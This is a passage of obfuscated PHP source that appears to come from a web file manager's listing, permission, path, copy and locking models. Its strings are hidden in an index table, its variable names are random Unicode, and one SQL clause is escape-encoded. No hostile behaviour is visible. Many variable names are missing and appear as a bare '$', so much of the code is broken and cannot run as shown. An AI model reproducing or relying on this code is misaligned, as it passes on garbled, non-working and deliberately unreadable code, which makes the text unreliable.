$Ѷ[232] => !0); if ($ƾ阞[$Ѷ[33]] == $Ѷ[230]) { $[] = $؍; } if ($ƾ阞[$Ѷ[33]] == $Ѷ[78]) { $ή־[] = $؍; } continue; } $[] = $ۺ; } if ($) { $ = $this->listSource(array($Ѷ[491] => array($Ѷ[492], $))); } $ = $ ? $ : array($Ѷ[85] => array(), $Ѷ[86] => array()); $[$Ѷ[85]] = array_merge($[$Ѷ[85]], $ή־); $[$Ѷ[86]] = array_merge($[$Ѷ[86]], $); if (isset($[$Ѷ[442]]) && count($) == $[$Ѷ[442]][$Ѷ[443]]) { return $; } $ = array(); $൓ = array_to_keyvalue($[$Ѷ[85]], $Ѷ[12], $Ѷ[193]); $䨿 = array_to_keyvalue($[$Ѷ[86]], $Ѷ[12], $Ѷ[193]); $˽ = array_merge($䨿, $൓); foreach ($ as $ᜈ) { if (!in_array($ᜈ, $˽)) { $[] = $ᜈ; } } if ($) { Model($Ѷ[502])->removeBySource($); } return $; } public function listUserRecycle() { $񉳦 =& $_SERVER[ׇ]; $Ć = Model($񉳦[503])->listData(); if (!$Ć) { return array(); } $ = array($񉳦[491] => array($񉳦[492], $Ć), $񉳦[504] => 1); return $this->listSource($); } public function listSource($, $ɣ = 3000, $ħ = false) { $Ԕ =& $_SERVER[ׇ]; if (!isset($[$Ԕ[505]])) { $[$Ԕ[505]] = 0; } if (isset($[$Ԕ[192]]) && $[$Ԕ[192]] == $Ԕ[228]) { $[$Ԕ[486]] = array($Ԕ[407], $Ԕ[506]); } $ = $Ԕ[507]; $ = $this->field($)->_makeOrder()->where($)->selectPage($ɣ); $this->_listPageCheck($, $, $); $this->_listDataApply($[$Ԕ[445]], $ħ); $this->_listMake($); return $; } private function _listPageCheck(&$Ѩ, $ʆ, $Ջ) { $؟ =& $_SERVER[ׇ]; if (!is_array($Ѩ[$؟[442]])) { return; } $ = $Ѩ[$؟[442]]; if ($[$؟[444]] <= 1) { return; } if ($[$؟[443]] >= 100000) { return; } if (Model($؟[508])->get($؟[509]) != $؟[510]) { return; } $ʆ = str_replace(array($؟[53], $؟[418], $؟[262]), $؟[12], $ʆ); $ʆ = $؟[511] . str_replace($؟[50], $؟[512], $ʆ) . $؟[513]; $ = $؟[514]; $ = $ . $؟[515]; $ɽ = $[$؟[439]] * ($[$؟[429]] - 1) . $؟[50] . $[$؟[439]]; $о = $this->_makeOrder(!0); $܎ = $؟[511] . str_replace($؟[50], $؟[512], $о[0]); if (strpos($܎, $؟[516])) { $܎ = str_replace($؟[516], $؟[517], $܎); } else { $܎ .= $؟[518] . $о[1]; } $ = array(); foreach ($Ջ as $ => $̲ޢ) { $[$؟[511] . $] = $̲ޢ; } $this->alias($؟[519])->field($ʆ)->limit($ɽ)->order($܎); $ = $this->join($)->where($)->select(); if ($) { $Ѩ[$؟[445]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[ׇ]; $ = Model($[520])->get($[521]); $Օ = Model($[520])->get($[522]); $ = array($[523] => $[524], $[525] => $[526]); $ݜ = array($[32] => $[32], $[79] => $[79], $[169] => $[486], $[527] => $[527], $[528] => $[529], $[231] => $[231], $[88] => $[88]); $֍ = Input::get($[530], $[7], $, array_keys($ݜ)); $ = Input::get($[531], $[7], $Օ, array_keys($)); if (!in_array($֍, array_keys($ݜ))) { $֍ = $[32]; } if (!in_array($, array_keys($))) { $֍ = $[523]; } if ($֍ == $[32]) { } $ = $[532] . $ݜ[$֍] . $[53] . $[$]; $ = rtrim(trim($), $[50]); if ($) { return array($, $[$]); } return $this->order($); } protected function _listDataApplyItem($̆, $ɤ = false) { $ł = array($̆); $this->_listDataApply($ł, $ɤ); return $ł[0]; } protected function _listDataApply(&$ۘ, $겳 = false) { $ =& $_SERVER[ׇ]; if (!$ۘ) { $ۘ = array(); return; } $般 = array_to_keyvalue($ۘ, $[12], $[193]); $般 = array_unique($般); $this->_listSourceCache($ۘ); if (!$겳) { $this->_listAppendMeta($ۘ, $般); $this->_listAppendFileMeta($ۘ, $般); $this->_listAppendChildren($ۘ, $般); } $this->_listAppendPath($ۘ); $this->_listAppendAuth($ۘ); $this->_listAppendSourceInfo($ۘ, $般); $this->_listAppendUser($ۘ); $this->_listFilterInfo($ۘ, $겳); $this->_listAppendAuthSecret($ۘ); } protected function _listSourceCache($) { $ڤ =& $_SERVER[ׇ]; foreach ($ as $¬) { self::$cacheSourceInfo[$ڤ[533] . $¬[$ڤ[193]]] = $¬; } } protected function _listFilterInfo(&$Ҿ, $ѥѥ = false) { $Û =& $_SERVER[ׇ]; foreach ($Ҿ as &$գ) { $գ = $this->pathInfoFilter($գ); self::$cachePathInfo[$Û[534] . intval($ѥѥ) . $Û[462] . $գ[$Û[193]]] = $գ; } unset($գ); } protected function _listMake(&$) { $ =& $_SERVER[ׇ]; $[$[85]] = array(); $[$[86]] = array(); foreach ($[$[445]] as $ŧߠ) { $ = $ŧߠ[$[485]] == 1 ? $[85] : $[86]; $[$][] = $ŧߠ; } unset($[$[445]]); } protected function _listAppendMeta(&$Բ, $쓂) { $ =& $_SERVER[ׇ]; $Ι = array($[491] => array($[492], $쓂)); $ڨ = Model($[535])->field($[536])->where($Ι)->select(); if (!$ڨ) { return; } $ء = array($[537], $[538], $[517]); $Ɣ = array(); foreach ($ڨ as $) { if (!isset($Ɣ[$[$[193]]])) { $Ɣ[$[$[193]]] = array(); } if (in_array($[$[97]], $ء)) { continue; } $Ɣ[$[$[193]]][$[$[97]]] = $[$[450]]; } foreach ($Բ as &$ɩ) { $ɩ[$[539]] = !1; if (isset($Ɣ[$ɩ[$[193]]])) { $ɩ[$[539]] = $Ɣ[$ɩ[$[193]]]; } if ($this->fileIsLock($ɩ) && $ɩ[$[487]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $ɩ[$[487]][$[488]] = AuthModel::authDisable($ɩ[$[487]][$[488]], $); $ɩ[$[487]][$[540]][$[487]] = $ɩ[$[487]][$[488]]; } } unset($ɩ); } protected function _listAppendFileMeta(&$, $Ǔ) { $Ԯ =& $_SERVER[ׇ]; $Ǩ = array_to_keyvalue($, $Ԯ[12], $Ԯ[541]); $Ǩ = array_filter(array_unique($Ǩ)); if (!$Ǩ) { return; } $ = array($Ԯ[542] => array($Ԯ[492], $Ǩ)); $ = $Ԯ[543]; $¹ = Model($Ԯ[544])->field($)->where($)->select(); $¹ = array_to_keyvalue($¹, $Ԯ[541]); $򩒴 = Model($Ԯ[545])->field($Ԯ[546])->where($)->select(); $򩒴 = $򩒴 ? $򩒴 : array(); $뗔 = array(); foreach ($򩒴 as $̇) { if (!isset($뗔[$̇[$Ԯ[541]]])) { $뗔[$̇[$Ԯ[541]]] = array(); } $뗔[$̇[$Ԯ[541]]][$̇[$Ԯ[97]]] = $̇[$Ԯ[450]]; } foreach ($ as &$) { $Dž = $[$Ԯ[541]]; if (!$Dž || !is_array($¹[$Dž])) { continue; } $˷ = $¹[$Dž]; $˷[$Ԯ[79]] = $[$Ԯ[79]]; $˷[$Ԯ[32]] = $[$Ԯ[32]]; if (!$˷[$Ԯ[547]]) { Model($Ԯ[544])->fileMd5Check($˷); } if (!isset(self::$cacheFileInfo[$Ԯ[548] . $Dž])) { self::$cacheFileInfo[$Ԯ[548] . $Dž] = array_merge(array(), $˷); } unset($¹[$Dž][$Ԯ[87]]); $⽝ = isset($뗔[$Dž]) && is_array($뗔[$Dž]) ? $뗔[$Dž] : array(); $[$Ԯ[170]] = array_merge($⽝, $¹[$Dž]); if (isset($[$Ԯ[170]][$Ԯ[184]])) { $[$Ԯ[184]] = json_decode($[$Ԯ[170]][$Ԯ[184]], !0); unset($[$Ԯ[170]][$Ԯ[184]]); } } unset($); } protected function _listAppendSourceInfo(&$徭, $) { $ =& $_SERVER[ׇ]; $ = Model($[549])->listData(); $ = Model($[499])->listData(); $ = Model($[489])->listData(); $Ƅ = Model($[550])->listSimple(); $ꮤ = array_to_keyvalue($, $[475]); $ = array_to_keyvalue_group($, $[87], $[500]); $ = array_to_keyvalue($, $[87]); $௑ = array_to_keyvalue_group($Ƅ, $[193]); foreach ($徭 as &$㙇) { $㙇[$[90]] = array($[551] => 0, $[552] => 0, $[553] => 0); if (isset($[$㙇[$[193]]])) { $㙇[$[90]][$[554]] = 1; $㙇[$[90]][$[555]] = $[$㙇[$[193]]][$[32]]; } if ($ && $ꮤ && isset($[$㙇[$[193]]])) { $㙇[$[90]][$[556]] = array(); foreach ($[$㙇[$[193]]] as $) { $ = $ꮤ[$]; $㙇[$[90]][$[556]][] = array($[557] => $[$[475]], $[494] => $[$[32]], $[558] => $[$[559]]); } } if ($௑ && isset($௑[$㙇[$[193]]])) { $㙇[$[90]][$[560]] = array(); foreach ($௑[$㙇[$[193]]] as $ə) { $ = $[561]; if ($ə[$[562]] == $[91]) { $ .= $[563]; } $㙇[$[90]][$[560]] = array_field_key($ə, explode($[50], $)); } } } unset($㙇); return $徭; } protected function _listAppendChildren(&$󧾽, $̺) { $袵 =& $_SERVER[ׇ]; $ԅ = array(); $ĺ = array($袵[239] => 0, $袵[240] => 0); foreach ($󧾽 as &$) { if (!$[$袵[485]]) { continue; } $ԅ[] = $[$袵[193]]; } unset($); if (!$ԅ) { return; } $ = array($袵[192] => array($袵[7], $ԅ), $袵[505] => 0); $Ԟʁ = array($袵[192], $袵[485], $袵[564] => $袵[565]); $ = $this->field($Ԟʁ)->where($)->group($袵[566])->select(); $ = array(); foreach ($ as $ڰ) { $ = $ڰ[$袵[192]]; $ = $ڰ[$袵[485]] == $袵[91] ? $袵[240] : $袵[239]; if (!isset($[$])) { $[$] = array($袵[239] => 0, $袵[240] => 0); } $[$][$] += $ڰ[$袵[565]]; } foreach ($󧾽 as &$) { if (!$[$袵[485]]) { continue; } $ = is_array($[$[$袵[193]]]) ? $[$[$袵[193]]] : $ĺ; $[$袵[240]] = $[$袵[240]]; $[$袵[239]] = $[$袵[239]]; unset($[$袵[486]]); } unset($); } protected function _listAppendAuth(&$) { $ʈҠ =& $_SERVER[ׇ]; $ҿ = array(); foreach ($ as $) { if ($[$ʈҠ[190]] == self::TYPE_GROUP) { $ҿ[] = $[$ʈҠ[193]]; } } if (!$ҿ) { return; } $ = array_to_keyvalue($, $ʈҠ[193]); $ӣ = Model($ʈҠ[567])->getSourceList($ҿ, $); $ͣå = KodUser::isRoot(); foreach ($ as $˜ => &$) { $[$ʈҠ[487]] = $ӣ[$[$ʈҠ[193]]]; if (!$[$ʈҠ[487]] && $[$ʈҠ[190]] == self::TYPE_GROUP) { $[$ʈҠ[487]] = Action($ʈҠ[568])->pathGroupAuthMake($[$ʈҠ[569]]); if (!$[$ʈҠ[487]] && !$ͣå) { $[$ʈҠ[233]] = !1; $[$ʈҠ[232]] = !1; } } if ($[$ʈҠ[487]]) { $[$ʈҠ[233]] = AuthModel::authCheckEdit($[$ʈҠ[487]][$ʈҠ[488]]); $[$ʈҠ[232]] = AuthModel::authCheckView($[$ʈҠ[487]][$ʈҠ[488]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[ׇ]; if (Model($[508])->get($[570]) != $[91]) { return; } static $ϙ˶ = false; if (!$ϙ˶) { $ = Model($[571]); $䃕 = Model($[572]); $ϙ˶ = $䃕->listData(); $ϙ˶ = array_to_keyvalue($ϙ˶, $[193]); $ٚ = json_decode(Model($[508])->get($[573]), !0); $ٚ = array_to_keyvalue($ٚ, $[475]); foreach ($ϙ˶ as $뼴 => $) { $ = $ٚ[$[$[574]]]; if (!$) { $䃕->remove($[$[475]]); unset($ϙ˶[$뼴]); continue; } $ = $->listData($[$[487]]); if (!$) { $䃕->remove($[$[475]]); unset($ϙ˶[$뼴]); continue; } $[$[487]] = $; $[$[575]] = $; $[$[576]] = Model($[577])->getInfoSimpleOuter($[$[527]]); $ϙ˶[$뼴] = $; } } $ʠ = USER_ID; $ȩ = array(); $񈄷 = $this->_listAppendPath($ȩ, !0); foreach ($ as $뼴 => &$) { if (!is_array($[$[487]])) { continue; } if ($[$[190]] != $[578]) { continue; } if (isset($ϙ˶[$[$[193]]])) { $ᖳ = $ϙ˶[$[$[193]]]; if (!is_array($[$[539]])) { $[$[539]] = array(); } $[$[539]][$[579]] = $ᖳ[$[574]]; $[$[487]][$[580]] = $ᖳ; $[$[487]][$[581]] = $[$[582]]; $[$[487]][$[583]] = $[91]; if ($ᖳ[$[527]] != $ʠ) { $[$[487]][$[488]] = $[$[487]][$[488]] & $ᖳ[$[487]][$[487]]; } continue; } $ = $this->parentLevelArray($[$[584]]); $ = array_reverse($); foreach ($ as $ => $) { if (!isset($ϙ˶[$])) { continue; } $ᖳ = $ϙ˶[$]; $[$[487]][$[580]] = $ᖳ; if ($ᖳ[$[527]] != $ʠ) { $[$[487]][$[488]] = $[$[487]][$[488]] & $ᖳ[$[487]][$[487]]; } $ = $[12]; $ = count($) - $; for ($ӐNJ = 0; $ӐNJ < $; $ӐNJ++) { if (!isset($񈄷[$[$ӐNJ]])) { $ = $[12]; break; } $ = $ . rtrim($񈄷[$[$ӐNJ]], $[8]) . $[8]; } $[$[487]][$[581]] = rtrim($, $[8]) . $[8]; break; } } unset($); } public function groupPathDisplay(&$) { $ =& $_SERVER[ׇ]; if ($[$[190]] != self::TYPE_GROUP) { return; } $䐤 = Model($[585])->getInfo($[$[569]]); $Ҽ = $this->parentLevelArray($䐤[$[584]]); $ = $[12]; foreach ($Ҽ as $) { $Ղ = Model($[585])->getInfo($); $ .= $Ղ[$[90]][$[193]] . $[50]; } $[$[586]] = $䐤[$[192]]; $[$[587]] = $䐤[$[584]]; $[$[588]] = $䐤[$[589]]; $[$[590]] = $ . $䐤[$[90]][$[193]]; } protected function _listAppendPath(&$, $ͳ = false) { $нۅ =& $_SERVER[ׇ]; static $ = array(); $ѽ = array(); $ޅ = array(); if ($ͳ) { return $; } foreach ($ as &$߳) { $Ҧ = $߳[$нۅ[193]]; if ($߳[$нۅ[485]] == $нۅ[91] && $߳[$нۅ[192]] != 0) { $[$Ҧ] = $߳[$нۅ[32]]; } if ($߳[$нۅ[485]] == $нۅ[91] && $߳[$нۅ[192]] == 0) { $[$Ҧ] = $this->_listAppendPathRoot($߳, array()); } if (isset($ޅ[$߳[$нۅ[584]]])) { continue; } $ޅ[$߳[$нۅ[584]]] = !0; $ = $this->parentLevelArray($߳[$нۅ[584]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_listAppendPathRoot($߳, $); } if ($ != 0) { $ѽ[] = $; } } } unset($߳); $ѽ = array_unique($ѽ); if (count($ѽ) > 0) { $ = array($нۅ[491] => array($нۅ[492], $ѽ)); if (count($ѽ) == 1) { $ = $this->sourceInfo($ѽ[0]); $ԫ = is_array($) ? array($) : !1; } else { $ԫ = $this->field($нۅ[591])->where($)->select(); } if (!$ԫ) { $ԫ = array(); } foreach ($ԫ as $) { $[$[$нۅ[193]]] = $[$нۅ[32]]; } } $ó = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ as &$߳) { $ = $߳[$нۅ[584]]; $ = $нۅ[12]; if (isset($[$])) { $ = $[$]; } else { $ = $this->parentLevelArray($߳[$нۅ[584]]); foreach ($ as $ => $) { if (isset($[$])) { $ .= $[$] . $нۅ[8]; } } $[$] = $; } $ .= $߳[$нۅ[32]]; if ($߳[$нۅ[485]] == $нۅ[91]) { $ .= $нۅ[8]; } $߳[$нۅ[582]] = str_replace($нۅ[592], $нۅ[8], $); if ($߳[$нۅ[192]] == $нۅ[228]) { $߳[$нۅ[32]] = trim($[$߳[$нۅ[193]]], $нۅ[8]); $߳[$нۅ[582]] = $߳[$нۅ[32]] . $нۅ[8]; } if (intval($߳[$нۅ[190]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($߳, $, $ó); } } unset($߳); return $; } private function _listAppendPathRecycle(&$公, $, $) { $ =& $_SERVER[ׇ]; if (!in_array($, $) && $公[$[193]] != $) { return; } $ = explode($[8], trim($公[$[582]], $[8])); $ʧ = implode($[8], array_slice($, 2)); $公[$[582]] = $[8] . LNG($[593]) . $[8] . ltrim($ʧ, $[8]); $公[$[584]] = $[594] . implode($[50], array_slice($, 1)) . $[50]; if ($公[$[193]] == $) { $公[$[584]] = $[594]; $公[$[192]] = $[228]; $公[$[32]] = LNG($[593]); } $公[$[595]] = $[596]; } protected function _listAppendPathRoot(&$ѳ, $) { $߼З =& $_SERVER[ׇ]; static $ = false; $Ӽ = $߼З[12]; if ($ѳ[$߼З[190]] == self::TYPE_USER) { if ($ѳ[$߼З[569]] == USER_ID) { $Ӽ = LNG($߼З[597]); if ($ === !1) { $ = Model($߼З[598])->getInfoFull(USER_ID); $ = _get($, $߼З[599], $߼З[12]); } if ($ && $[0] == $ || !$ && $ѳ[$߼З[193]] == $) { $Ӽ = LNG($߼З[600]); $ѳ[$߼З[601]] = $߼З[602]; } if (!$) { $ѳ[$߼З[32]] = $Ӽ; } } else { $ѳ[$߼З[603]] = Model($߼З[577])->getInfoSimpleOuter($ѳ[$߼З[569]]); $Ӽ = LNG($߼З[604]) . $߼З[176] . $ѳ[$߼З[603]][$߼З[32]] . $߼З[178]; } } else { if ($ѳ[$߼З[190]] == self::TYPE_GROUP) { $Ղ = Model($߼З[585])->getInfoSimple($ѳ[$߼З[569]]); $Ӽ = $Ղ[$߼З[32]]; } else { if ($ѳ[$߼З[190]] == self::TYPE_SYSTEM) { $Ӽ = $߼З[605]; } } } $Ӽ = $Ӽ ? $߼З[8] . $Ӽ . $߼З[8] : $߼З[8]; return $Ӽ; } protected function _listAppendUser(&$觰Ә) { $ =& $_SERVER[ׇ]; $ڪ = array_to_keyvalue($觰Ә, $[12], $[527]); $ϓ = array_to_keyvalue($觰Ә, $[12], $[529]); $Ɗ = array_merge($ڪ, $ϓ); $̹ = Model($[598])->userListInfo($Ɗ); foreach ($觰Ә as &$Ɓ̈́) { $ʺ = $Ɓ̈́[$[527]]; $Ɓ̈́[$[527]] = $̹[$ʺ] ? $̹[$ʺ] : !1; $ʺ = $Ɓ̈́[$[529]]; $Ɓ̈́[$[529]] = $̹[$ʺ] ? $̹[$ʺ] : !1; if (_get($Ɓ̈́, $[606], 0)) { $Ӿ՚ = $GLOBALS[$[6]][$[92]][$[607]]; if ($Ɓ̈́[$[539]][$[608]] <= time() - $Ӿ՚) { $this->metaSet($Ɓ̈́[$[193]], $[609], null); $this->metaSet($Ɓ̈́[$[193]], $[608], null); unset($Ɓ̈́[$[539]][$[609]]); continue; } $ = $Ɓ̈́[$[539]][$[609]]; $Ɓ̈́[$[539]][$[610]] = Model($[598])->getInfoSimpleOuter($); } } unset($Ɓ̈́); } public function parentLevelArray($) { $ݯƏ =& $_SERVER[ׇ]; $ = explode($ݯƏ[50], trim($, $ݯƏ[50])); return array_remove_value($, $ݯƏ[228]); } public function listAll($) { $Ư =& $_SERVER[ׇ]; $۹ = $this->sourceInfo($); $˹ = array($Ư[611] => array($Ư[612], $۹[$Ư[584]] . $ . $Ư[613]), $Ư[614] => 0); $Ϳ = $Ư[615]; $Ѱ = "\114\x45\106\x54\40\112\x4f\x49\116\40{$this->tablePrefix}\151\x6f\137\146\x69\x6c\145\x20\x66\x69\154\145\x20\157\156\x20\163\x6f\x75\x72\143\145\56\146\x69\x6c\x65\x49\x44\x20\x3d\x20\146\x69\154\x65\56\x66\x69\x6c\x65\x49\x44"; $Ѣ = $this->alias($Ư[519])->field($Ϳ)->where($˹)->join($Ѱ)->select(); $this->_listAppendAuth($Ѣ); $this->_listAppendUser($Ѣ); $this->_listAppendPath($Ѣ); $Ѣ = array_to_keyvalue($Ѣ, $Ư[193]); $օ = "\57{$۹[$Ư[32]]}\57"; $օ = $օ == $Ư[592] ? $Ư[8] : $օ; $Ѱҟ = array(); foreach ($Ѣ as $М => $뇜) { $瓋 = $this->parentLevelArray($뇜[$Ư[584]]); array_shift($瓋); $ګ = $օ; for ($ = 0; $ < count($瓋); $++) { $ګ .= $Ѣ[$瓋[$]][$Ư[32]] . $Ư[8]; } $ګ .= $뇜[$Ư[32]]; if ($뇜[$Ư[485]]) { $ګ .= $Ư[8]; } $Դ = array($Ư[495] => str_replace($Ư[592], $Ư[8], str_replace($Ư[592], $Ư[8], str_replace($Ư[592], $Ư[8], $ګ))), $Ư[616] => intval($뇜[$Ư[485]]), $Ư[617] => intval($뇜[$Ư[79]]), $Ư[88] => intval($뇜[$Ư[88]]), $Ư[90] => $this->pathInfoFilter($뇜)); if (!$Դ[$Ư[485]]) { $Դ[$Ư[541]] = $뇜[$Ư[541]]; } $Ѱҟ[] = $Դ; } $Ѱҟ = array_sort_by($Ѱҟ, $Ư[87]); return $Ѱҟ; } } goto fȻ; fȻ: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($) { $ =& $_SERVER[ׇ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[618], $); $殭 = 1; $this->_lockEvent($, array($[619], $[620]), $殭); $this->_lockParent($, array($[620]), $殭); $this->_lockEvent($, array($[621], $[622]), $殭); $this->_lockCheckEnd($[618], $); } public function lockCopyEnd($) { $Ȃ =& $_SERVER[ׇ]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($, array($Ȃ[619], $Ȃ[620]), $); $this->_lockParent($, array($Ȃ[620]), $); $this->_lockEvent($, array($Ȃ[621], $Ȃ[622]), $); } public function lockWriteStart($ê, $Ⓛ = '') { $ =& $_SERVER[ׇ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[619], $ê); $ = 1; $this->_lockKey($[623] . $ê . $[10] . $Ⓛ, $); $this->_lockEvent($ê, array($[618], $[620]), $); $this->_lockParent($ê, array($[618], $[620]), $); $this->_lockCheckEnd($[619], $ê); } public function lockWriteEnd($, $ؐ = '') { $ȵ֫ =& $_SERVER[ׇ]; if (!$this->allowLock()) { return; } $נ = 0; $this->_lockKey($ȵ֫[623] . $ . $ȵ֫[10] . $ؐ, $נ); $this->_lockEvent($, array($ȵ֫[618], $ȵ֫[620]), $נ); $this->_lockParent($, array($ȵ֫[618], $ȵ֫[620]), $נ); } public function lockMoveStart($遂) { $ =& $_SERVER[ׇ]; if (!$this->allowLock()) { return; } $this->_lockCheck($[620], $遂); $ = 1; $this->_lockKey($[624] . $遂, $); $this->_lockEvent($遂, array($[618], $[619]), $); $this->_lockParent($遂, array($[618], $[620]), $); $this->_lockEvent($遂, array($[625], $[621], $[622]), $); $this->_lockCheckEnd($[620], $遂); } public function lockMoveEnd($Ҙ) { $ۼ =& $_SERVER[ׇ]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ۼ[624] . $Ҙ, $); $this->_lockEvent($Ҙ, array($ۼ[618], $ۼ[619]), $); $this->_lockParent($Ҙ, array($ۼ[618], $ۼ[620]), $); $this->_lockEvent($Ҙ, array($ۼ[625], $ۼ[621], $ۼ[622]), $); } private function _lockCheck($, $) { $ =& $_SERVER[ׇ]; $Ź = $this->sourceInfo($); $ˊ = $ . $[10] . $; $this->_lockTimeStart[$ˊ] = timeFloat(); if (!is_array($Ź)) { return; } $۟ = LNG($[626]); CacheLock::setErrorMsg($[176] . htmlspecialchars($Ź[$[32]]) . $[178] . $۟); $this->_lockKey($ˊ, 1); $this->_lockKey($ˊ, 0); $ƪ = array_reverse($this->parentLevelArray($Ź[$[584]])); foreach ($ƪ as $) { $ˊ = $ . $[627] . $; if (CacheLock::lockGet($[628] . $ˊ)) { $Ź = $this->sourceInfo($); CacheLock::setErrorMsg($[176] . htmlspecialchars($Ź[$[32]]) . $[178] . $۟); $this->_lockKey($ˊ, 1); $this->_lockKey($ˊ, 0); } } } private function _lockCheckEnd($α, $) { $ך =& $_SERVER[ׇ]; $ͫ = $α . $ך[10] . $; CacheLock::setErrorMsg($ך[454]); if (!isset($this->_lockTimeStart[$ͫ])) { return; } $˳ = timeFloat() - $this->_lockTimeStart[$ͫ]; unset($this->_lockTimeStart[$ͫ]); if ($˳ > 0.5) { unset(self::$cacheSourceInfo[$ך[533] . $]); } $ˮ = $this->sourceInfo($); if (!$ˮ) { show_json(LNG($ך[108]), !1); } } private function _lockParent($, $Θ, $) { if (!$this->autoLockSet) { return; } $屏 = $this->sourceInfo($); if (!is_array($屏)) { return; } $ӥ = array_reverse($this->parentLevelArray($屏[$_SERVER[ׇ][584]])); foreach ($ӥ as $) { $this->_lockEvent($, $Θ, $); } } private function _lockEvent($ꌽ׽, $¼, $̓) { $ۡ =& $_SERVER[ׇ]; if (!$this->autoLockSet) { return; } foreach ($¼ as $ړ) { $݀ = $ړ . $ۡ[10] . $ꌽ׽; if ($̓ && CacheLock::lockGet($ۡ[628] . $݀)) { continue; } $this->_lockKey($݀, $̓); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($, $鷔 = 1) { $š = $_SERVER[ׇ][628] . md5($); if ($鷔) { if (isset(self::$_lockItemArr[$š])) { return; } self::$_lockItemArr[$š] = 1; CacheLock::lock($š, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$š])) { return; } unset(self::$_lockItemArr[$š]); CacheLock::unlock($š); } } public function isParentOf($, $պ) { $ͦ =& $_SERVER[ׇ]; $܊ƶ = $this->sourceInfo($); $蠌 = $this->sourceInfo($պ); $ڮ = $܊ƶ[$ͦ[584]] . $܊ƶ[$ͦ[193]] . $ͦ[50]; $ = $蠌[$ͦ[584]] . $蠌[$ͦ[193]] . $ͦ[50]; $ީǓ = strpos($, $ڮ) === 0; return $ީǓ; } private $targetIsDelete = 0; public function copy($, $د, $ۀߵ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[ׇ]; $ = $this->sourceInfo($); $ = $this->sourceInfo($د); if (!$ || !$ || $[$[485]] != $[91]) { return !1; } if ($this->isParentOf($, $د)) { return !1; } $ = $ ? $ : $[$[32]]; $this->lockCopyStart($); $this->lockWriteStart($د, $); $ԏ = array($[629] => array(), $[630] => array(), $[631] => array()); $this->targetIsDelete = intval($[$[505]]); $볬 = $this->fileNameExistAuto($د, $); $ = $this->_copy($, $د, $ۀߵ, $ԏ, !0, $); $this->_childrenListClear(); $this->lockCopyEnd($); $this->lockWriteEnd($د, $); if ($[$[485]] == $[91] && $볬 == $) { $this->folderSizeResetChildren($볬); } Model($[632])->addAll($ԏ[$[630]], array(), !0); if ($볬 != $ || $[$[485]] == $[91]) { Model($[633])->eventCopy($); } $this->saveAll($ԏ[$[631]]); Model($[230])->linkAdd($ԏ[$[629]]); $this->folderSizeReset($د); $this->updateModifyTime($د); return $; } private function _copy($˸ϣ, $, $ɀ, &$ҏ, $ɋͭ, $ = '') { $ =& $_SERVER[ׇ]; $ = $this->sourceInfoCache($˸ϣ); $׹ = $[$[485]] == $[91]; $ա = $ ? $ : $[$[32]]; $ݓ = $this->fileNameExistAuto($, $); if ($ɋͭ) { $this->_childrenAllMake($˸ϣ); if ($׹ && $ݓ) { $this->_childrenAllMake($ݓ); } } if (!$ݓ) { return $this->_copyCreate($˸ϣ, $, $ա, $ҏ); } $ = $ݓ; if ($׹) { if ($ɀ == REPEAT_RENAME_FOLDER) { $ա = $this->fileNameAutoCache($, $ա, $ɀ, $׹); $ = $this->_copyCreate($˸ϣ, $, $ա, $ҏ); } else { $仂 = $this->_childrenList($˸ϣ); foreach ($仂 as $ҵ) { $this->_copy($ҵ[$[193]], $ݓ, $ɀ, $ҏ, !1); } } } else { if ($ɀ == REPEAT_RENAME || $ɀ == REPEAT_RENAME_FOLDER) { $ա = $this->fileNameAutoCache($, $ա, $ɀ, $׹); $ = $this->_copyCreate($˸ϣ, $, $ա, $ҏ); } else { if ($ɀ == REPEAT_REPLACE) { $ӥ = $this->sourceInfoCache($ݓ); $ = $this->fileHistory($ӥ, $[$[541]], $[$[79]]); if ($) { $ҏ[$[629]][] = $[$[541]]; } } else { if ($ɀ == REPEAT_SKIP) { } } } Hook::trigger($[634], array($[635], $, 0)); } return $; } private function _copyCreate($ˆ, $, $Ƣ, &$𒺎) { $ =& $_SERVER[ׇ]; $邂 = $this->sourceInfoCache($ˆ); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($邂, $, $Ƣ); Hook::trigger($[636], $); Hook::trigger($[637], array($[638], $, 0)); $ = $this->add($); $۱ = array($[193] => $, $[32] => $Ƣ); $this->_copyApplyMeta($۱, $𒺎); if ($邂[$[485]] != $[91]) { $𒺎[$[629]][] = $邂[$[541]]; return $; } $܂ = array(); $ = array(); $this->_childrenListAll($ˆ, $܂); $ڐ܈ = count($܂); if ($ڐ܈ == 0) { return $; } $а = $this->sourceInfo($); foreach ($܂ as $) { $ = $this->_makeItemData($, $а, $[$[32]]); $[$[584]] = $[$[584]]; $[] = $; } $this->chunkEventSet($[639], array($[640], $, $ڐ܈)); $this->addAll($, array(), !1); $ԁ٬ = $this->where(array($[192] => $))->select(); $ = $this->_childrenMakeRelation($܂, $ԁ٬); $[$ˆ] = $; $őǟ = array(); $َ匰 = array(); foreach ($ԁ٬ as $) { $ = $[$[193]]; $٣Δ = $this->_childrenMatch($, $, $а); $őǟ[] = array($[193], $, $[192], $٣Δ[$[192]]); $َ匰[] = array($[193], $, $[584], $٣Δ[$[584]]); $this->_copyApplyMeta($, $𒺎); if ($[$[485]] != $[91]) { $𒺎[$[629]][] = $[$[541]]; } } $this->chunkEventSet($[641], array($[642], $, $ڐ܈)); $this->saveAll($őǟ); $this->chunkEventSet($[643], array($[644], $, $ڐ܈)); $this->saveAll($َ匰); return $; } private function _childrenMakeRelation($ꏴ, $և) { $ =& $_SERVER[ׇ]; $ɖ = array(); $Շג = array(); foreach ($ꏴ as $Ͼę) { $ݟ = $Ͼę[$[32]] . $[8] 